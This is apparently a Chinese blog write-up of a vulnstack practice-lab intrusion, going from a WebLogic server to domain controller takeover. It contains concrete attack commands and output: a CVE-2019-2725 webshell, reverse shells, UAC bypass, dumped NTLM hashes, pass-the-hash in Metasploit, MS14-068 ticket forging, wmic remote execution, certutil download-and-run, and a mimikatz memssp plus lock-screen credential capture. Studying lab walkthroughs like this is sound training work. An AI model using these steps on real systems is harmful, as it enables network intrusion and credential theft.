从外网到域控(vulnstack靶机实战2)

  • A+
所属分类:安全文章

从外网到域控(vulnstack靶机实战2)

前言

大家好,我是来自鸿鹄实验室的lengyi,前几天写了一个从外网到域控(vulnstack靶机实战)很多朋友便私信我第二个靶机的教程,苦于学校的java课程设计,一拖再托,现在终于完成了,分享给大家。
vlunstack是红日安全团队出品的一个实战环境,具体介绍请访问:http://vulnstack.qiyuanxuetang.net/vuln/detail/3/
内网网段:10.10.10.1/24
DC
IP:10.10.10.10OS:Windows 2012(64)
应用:AD域
WEB
IP1:10.10.10.80
应用:Weblogic 10.3.6MSSQL 2008
PC
IP1:10.10.10.201
大体拓扑如下:

从外网到域控(vulnstack靶机实战2)

开搞。开搞。
 

外网初探

我们先从web机开始入手,注意web机默认没有web服务,需要手动开启,这个环境中的是weblogic环境版本是10.3.6.0,默认在C:OracleMiddlewareuser_projectsdomainsbase_domain下有一个startWeblogic的批处理,运行它即可
然后访问目标机的7001端口就能看到weblogic的控制台了….
从外网到域控(vulnstack靶机实战2)
说起weblogic大家一定很熟悉了,漏洞遍地走,简单测试之,工具地址(https://github.com/rabbitmask/WeblogicScan.git)
从外网到域控(vulnstack靶机实战2)
得到的结果就是存在CVE-2019-2725还有用户名、密码,我们登录试试

从外网到域控(vulnstack靶机实战2)

额,失败了,换CVE-2019-2725试试吧,使用POC验证,发现漏洞存在
从外网到域控(vulnstack靶机实战2)
使用exp上传webshell

从外网到域控(vulnstack靶机实战2)

从外网到域控(vulnstack靶机实战2)

(ps:测试途中ip有时会变化,误怪)
额,这样总是觉得不方便..便想着反弹一个msf的shell回来,因为自己喜欢msf的shell,使用exp进行反弹,原理就是调用powershell来反弹shell,exp地址:https://www.exploit-db.com/exploits/46780
尝试了一番绕过无果后,让朋友帮忙免杀了一下payload,终于获得了一个靶机的msf shell
因为已经知道了当前的权限比较低,我们还是先搞一个system的shell回来再说…
简单查看了一下补丁情况,发现补丁挺少的

从外网到域控(vulnstack靶机实战2)

个人感觉msf里面对于2008提权比较好用的就是ms15_051 、ms15_078这两个了,我这里先使用ms15_051 试试

从外网到域控(vulnstack靶机实战2)

失败,感觉应该是uac在作祟,后来去到靶机操作发现的确如此,我们先 bypass uac再说….
关于bypass UAC的介绍这里有一篇文章我觉得写的很好,大家有兴趣的可以看一下(https://www.cnblogs.com/Chesky/p/UAC_Bypass.html)
常用的绕过方法也是文章中总结的几种:
1,白名单提权机制;如Wusa.exe Bypass UAC,infDefault.exe Bypass UAC,PkgMgr.exe Bypass UAC等。
2,DLL 劫持;
3,Windows 自身漏洞提权;
4,远程注入;
5,COM 接口技术。
想msf、cs里面也是已经自带了一些bypass uac的手法,在实战的时候可以去测试一下,我这里选择的方法是使用Windows 自身漏洞提权来bypass uac,其实也是因为自己尝试了几个常见的手法后没有bypass成功,才出此下测,毕竟0day好于一切。
我这里选用的exp是CVE-2018-8120这个exp,然后使用cs生成一个exe文件,一会使用exp来执行cs来反弹一个shell回来,我们先上传exp上去
然后执行,cs获取到一个system的session

从外网到域控(vulnstack靶机实战2)

我们这里需要用到CS的argue参数了在这里顺便感谢一下Y4er师傅的指教,具体原理、操作请看(http://www.0x3.biz/archives/837.html)
因为我们已经有了一个system的shell,所以我们使用这个argue参数去污染net程序

从外网到域控(vulnstack靶机实战2)

发现已经污染成功了,这个时候我们激活guest用户并把他加入到administrators组里面

从外网到域控(vulnstack靶机实战2)

远程桌面默认开启(早知道就用0708了),登录桌面成功
 

内网初探:

既然已经有了system的权限,自然是抓一下管理员的密码和ntlm了

从外网到域控(vulnstack靶机实战2)

然后我们需要进行下一步的深入,因为实现已经知道了网段地址(当然判断起来也没什么难度),所以我们使用cs做一个代理

从外网到域控(vulnstack靶机实战2)

注意:连接的代理地址是你cs的服务端地址,不是目标服务器的地址。
个人喜欢msf里面的一些模块,所以一般会使用代理功能进行代理msf,然后,我们的下一个目标就是10.10.10.201这一台机器,内网通用手法之一就是17-010的利用,因为真是环境中17-010也是在内网中十分常见,现在可能是0708比较多…

从外网到域控(vulnstack靶机实战2)

漏洞存在,尝试反弹shell,失败..

从外网到域控(vulnstack靶机实战2)

好吧,换个思路,既然我们已经有了ntlm和明文密码,那么我们便可以尝试使用smb relay攻击,关于攻击手法可以查看(https://www.jianshu.com/p/c7d8e7d9c03c)
一开始我使用的是administrator进行的PTH攻击,但是失败了,看了一下各个帐号的hash内容
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::de1ay:1000:aad3b435b51404eeaad3b435b51404ee:161cff084477fe596a5db81874498a24:::Guest:501:aad3b435b51404eeaad3b435b51404ee:161cff084477fe596a5db81874498a24:::
发现虽然三个帐号密码的内容虽然一样,但是后面还是不一样的(一样才怪呢),这个跟windows的认证原理有关系,可是administrator不能进行PTH攻击,那么我们就没有办法了吗?不是的,在刚才获取明文密码的过程中我还发现了一个名为mssql的用户,于是猜测会不会是这个用户,于是进行尝试..
msf5 exploit(windows/smb/psexec_psh) > set rhosts 10.10.10.201rhosts => 10.10.10.201msf5 exploit(windows/smb/psexec_psh) > set smbuser mssqlsmbuser => mssqlmsf5 exploit(windows/smb/psexec_psh) > set subpass aad3b435b51404eeaad3b435b51404ee:161cff084477fe596a5db81874498a24subpass => aad3b435b51404eeaad3b435b51404ee:161cff084477fe596a5db81874498a24msf5 exploit(windows/smb/psexec_psh) > set smbpass aad3b435b51404eeaad3b435b51404ee:161cff084477fe596a5db81874498a24smbpass => aad3b435b51404eeaad3b435b51404ee:161cff084477fe596a5db81874498a24
从外网到域控(vulnstack靶机实战2)
事实证明,我是对的..可是总是拒绝
换了其他工具也是一样..

从外网到域控(vulnstack靶机实战2)

悲催的我发现它开启了3389,于是0708走起,发现依旧失败…

从外网到域控(vulnstack靶机实战2)

顿时陷入瓶颈(其实也可以用其他的办法尝试)…既然客户机不行,那我们就直接打域控…
在域环境下,我们常用的就是ms14-068,我这里直接使用CS来利用这个漏洞,具体操作如下..
我们先查看该用户的SID(重新反弹了一个普通用户的shell)

从外网到域控(vulnstack靶机实战2)

下面使用 pykek 生成票据,然后用 proxychains 把 pykek 带入内网
✘ ⚡ [email protected]  MS14-068/pykek   master ●  proxychains python ms14-068.py -u [email protected] -s S-1-5-21-2756371121-2868759905-3853650604-1001 -d 10.10.10.10 -p '[email protected]'ProxyChains-3.1 (http://proxychains.sf.net)  [+] Building AS-REQ for 10.10.10.10... Done!  [+] Sending AS-REQ to 10.10.10.10...|S-chain|-<>-127.0.0.1:48979-<><>-10.10.10.10:88-<><>-OK Done!  [+] Receiving AS-REP from 10.10.10.10... Done!  [+] Parsing AS-REP from 10.10.10.10... Done!  [+] Building TGS-REQ for 10.10.10.10... Done!  [+] Sending TGS-REQ to 10.10.10.10...|S-chain|-<>-127.0.0.1:48979-<><>-10.10.10.10:88-<><>-OK Done!  [+] Receiving TGS-REP from 10.10.10.10... Done!  [+] Parsing TGS-REP from 10.10.10.10... Done!  [+] Creating ccache file '[email protected]'... Done!
  • de1ay.com 为 域名
  • de1ay 为域中的一个用户
  • 1qaz@WSX 为 de1ay 的密码
  • de1ay 的 sid 为S-1-5-21-2756371121-2868759905-3853650604-1001
  • 10.10.10.10为域控的 IP
执行完毕后会在当前目录下生成一个 .ccache 的文件
然后使用 KrbCredExport(https://github.com/rvazarkar/KrbCredExport) 转 .ccache 为 kirbi 格式。
⚡ root@kali  MS14-068/pykek   master ●  python KrbCredExport/KrbCredExport.py TGT_de1ay@de1ay.com.ccache de1ay.ticketCCache File Found, Converting to kirbi
转换后的文件保存在 de1ay.ticket , 然后可以用 cs 加载这个文件。
下面先看看没有加载前的权限。
首先获取域控的机器名

从外网到域控(vulnstack靶机实战2)

所以域控的主机名为
DC.de1ay.com

然后 net use 一下 ,发现是不能访问的。
shell net use DC.de1ay.comc$

从外网到域控(vulnstack靶机实战2)

先清除凭证
kerberos_ticket_purge

从外网到域控(vulnstack靶机实战2)

然后加载 de1ay.ticket 文件, 再次执行发现可以访问域控资源,已经得到域控的权限。

从外网到域控(vulnstack靶机实战2)

从外网到域控(vulnstack靶机实战2)
注: 一定要用 域控的主机全名 而不要用 ip 。
然后使用当前对话对域控进行 psh 攻击 ,使用 smb 的 beacon
但是经过一番尝试,我这里一直失败,无法上线,心酸啊…
从外网到域控(vulnstack靶机实战2)
暂时先不管它,反正现在我们已经有了一个域成员的用户密码,我们试试用wmic看看
用法
wmic /node:ip地址 /user:用户名 /password:密码 process call create cmd.exe
执行成功
从外网到域控(vulnstack靶机实战2)
本来准备用cs的转发,然后重新设置一个beacon,但是一直上线不了就换msf了,路由功能我一直觉得msf做的比CS要好,所以派生一个shell给msf,具体操作参考(https://xz.aliyun.com/t/6722#toc-2)
msf上线。
然后加一个路由进来

从外网到域控(vulnstack靶机实战2)

然后在web机上搭建一个简易的web服务,然后使用msf生成一个正向的shell,在cs下使用wmi用cmd使用certutil下载文件,并执行,msf收到域控的session

从外网到域控(vulnstack靶机实战2)

下面就是抓管理员的明文了,大体流程如下:
手工修改注册表 + 强制锁屏 + 等待目标系统管理员重新登录 = 截取明文密码
因为默认权限不够,使用ms16-032进行提权(就是喜欢提权,因为exp多),然后该注册表,使用脚本锁屏
从外网到域控(vulnstack靶机实战2)
reg add HKLMSYSTEMCurrentControlSetControlSecurityProvidersWDigest /v UseLogonCredential /t REG_DWORD /d 0 /f
然后上传mimitakz做如下操作:
mimikatz # privilege::debugPrivilege '20' OK
mimikatz # misc::memsspInjected =)
mimikatz # exit
锁屏脚本如下:
Function Lock-WorkStation {
$signature = @"[DllImport("user32.dll", SetLastError = true)]public static extern bool LockWorkStation();"@
$LockWorkStation = Add-Type -memberDefinition $signature -name "Win32LockWorkStation" -namespace Win32Functions -passthru
$LockWorkStation::LockWorkStation() | Out-Null
}
Lock-WorkStation
报存为ps1文件,然后加载即可

从外网到域控(vulnstack靶机实战2)

模拟登录获取到明文密码

从外网到域控(vulnstack靶机实战2)

有了域管理的帐号之后我们不就是为所欲为了吗
最后附上一张全部上线的图。

从外网到域控(vulnstack靶机实战2)

从外网到域控(vulnstack靶机实战2)
PC那台机子不显示,233333
 

写在后面

初识域渗透,写的不好,中间也是爬了各种坑,还望各位师傅们海涵,因为是靶机很多操作都是比较随意化的,也没有涉及痕迹清理、权限维持的内容,如有时间肯定补上。如果大家喜欢(稿费多的话)过几天更新第三篇哦。

 

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: